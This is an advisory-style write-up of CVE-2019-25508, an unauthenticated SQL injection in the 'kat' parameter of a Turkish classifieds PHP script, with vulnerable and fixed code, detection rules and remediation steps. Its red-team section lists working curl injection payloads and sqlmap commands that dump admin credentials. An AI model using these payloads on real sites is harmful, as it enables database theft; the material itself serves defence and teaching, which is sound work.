CVE-2019-25508
Executive Summary
CVE-2019-25508 is an unauthenticated SQL injection vulnerability in Jettweb Php Hazir Ilan Sitesi Scripti V2, a Turkish classifieds web application. The flaw resides in the kat parameter of the katgetir.php endpoint, allowing remote attackers to inject arbitrary SQL commands via GET requests. With no authentication required and a CVSS v3.1 base score of 9.8 (Critical), this vulnerability enables full database compromise, including extraction of user credentials, session data, and other sensitive information. No official patch has been released, and the vendor appears unresponsive. Public proof-of-concept code exists, making this a high-priority target for both red team exercises and blue team detection.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): High (H) – Full database read access.
- Integrity (I): High (H) – Potential to modify or delete data.
- Availability (A): High (H) – Could lead to denial of service via SQL manipulation.
CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate remediation required.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the kat GET parameter of katgetir.php. The application fails to sanitize or parameterize user input before embedding it into SQL queries. An attacker can craft a malicious kat value such as:
kat=1' UNION SELECT username,password FROM admin_users--
This payload breaks out of the original SQL string context and appends a UNION SELECT statement to retrieve sensitive columns from the admin_users table. The double dash (--) comments out the remainder of the original query, preventing syntax errors.
The injection point is likely in a query similar to:
SELECT * FROM categories WHERE kat_id = '$_GET['kat']'
Because the input is directly concatenated, any SQL syntax can be injected. The application returns results in JSON or HTML, making data extraction straightforward.
Vulnerable vs. Patched Code
Vulnerable Code (katgetir.php):
<?php
$kat = $_GET['kat'];
$query = "SELECT * FROM kategoriler WHERE kat_id = '$kat'";
$result = mysqli_query($conn, $query);
// output results
?>
Patched Code (hypothetical – no official patch):
<?php
$kat = intval($_GET['kat']); // force integer
$query = "SELECT * FROM kategoriler WHERE kat_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $kat);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// output results
?>
The patched version uses prepared statements with parameterized queries, completely eliminating SQL injection risk. Additionally, input is cast to an integer as a defense-in-depth measure.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: Jettweb Php Hazir Ilan Sitesi Scripti V2 running on Apache/Nginx with PHP and MySQL.
- Attacker: Kali Linux with sqlmap and curl.
Exploitation Steps:
Identify the vulnerable endpoint:
curl -v "http://target.com/katgetir.php?kat=1"Confirm SQL injection with a time-based payload:
curl "http://target.com/katgetir.php?kat=1' AND SLEEP(5)-- -"Extract database version:
curl "http://target.com/katgetir.php?kat=1' UNION SELECT @@version,2,3-- -"Automated exploitation with sqlmap:
sqlmap -u "http://target.com/katgetir.php?kat=1" --batch --dbsDump admin credentials:
sqlmap -u "http://target.com/katgetir.php?kat=1" -D jettweb_db -T admin_users --dump
Expected Output: Database contents, including usernames and password hashes.
Blue Team (Defensive)
Detection & Response:
- Monitor for abnormal
katparameter values containing SQL keywords (UNION, SELECT, SLEEP, etc.). - Deploy WAF rules to block SQL injection patterns.
- Enable database query logging to identify malicious queries.
- Isolate the vulnerable application if patching is not possible.
Honeypot Setup:
- Deploy a decoy instance of the vulnerable script to capture attacker payloads.
- Analyze captured payloads to update detection signatures.
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/katgetir.phpwithkatparameter containing SQL metacharacters (',--,UNION,SELECT). - Unusually long
katparameter values (over 50 characters). - Multiple requests to
katgetir.phpwithin a short time window.
File IOCs:
- Suspicious entries in web server access logs (e.g.,
kat=1' UNION SELECT...). - Database error logs showing SQL syntax errors from
katgetir.php.
System IOCs:
- Unexpected database connections from the web server user.
- New files in web directories (potential webshell uploads via second-order injection).
Detection Engineering
YARA Rule
rule CVE_2019_25508_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2019-25508 in Jettweb Php Hazir Ilan Sitesi Scripti V2"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25508"
strings:
$s1 = "kat=" nocase
$s2 = "'" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "SLEEP" nocase
$s6 = "BENCHMARK" nocase
$s7 = "OR 1=1" nocase
condition:
$s1 and ( #s2 >= 2 or $s3 or $s4 or $s5 or $s6 or $s7 )
}
Sigma Rule
title: CVE-2019-25508 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Jettweb Php Hazir Ilan Sitesi Scripti V2 katgetir.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "kat="
- "'"
- "UNION"
- "SELECT"
- "SLEEP"
- "BENCHMARK"
- "OR 1=1"
condition: selection
falsepositives:
- Legitimate use of apostrophes in search terms (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25508 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/katgetir.php"; http_uri; content:"kat="; http_uri; pcre:"/(\x27|UNION|SELECT|SLEEP|BENCHMARK|OR\s+1=1)/i"; sid:1000001; rev:1; reference:cve,2019-25508; priority:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application – If possible, take the vulnerable instance offline or restrict access via firewall rules.
- Apply virtual patching – Use a WAF (e.g., ModSecurity) with rules to block SQL injection patterns in the
katparameter. - Input validation – Implement server-side validation to accept only numeric values for
kat.
Long-Term Fix:
- Rewrite
katgetir.phpusing prepared statements or parameterized queries (see patched code example). - Upgrade to a supported, actively maintained classifieds script.
- Conduct a full security audit of the application.
Compromise Assessment:
- Check database logs for unauthorized queries.
- Review web server logs for suspicious
katparameter values. - Rotate all database credentials and application secrets.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst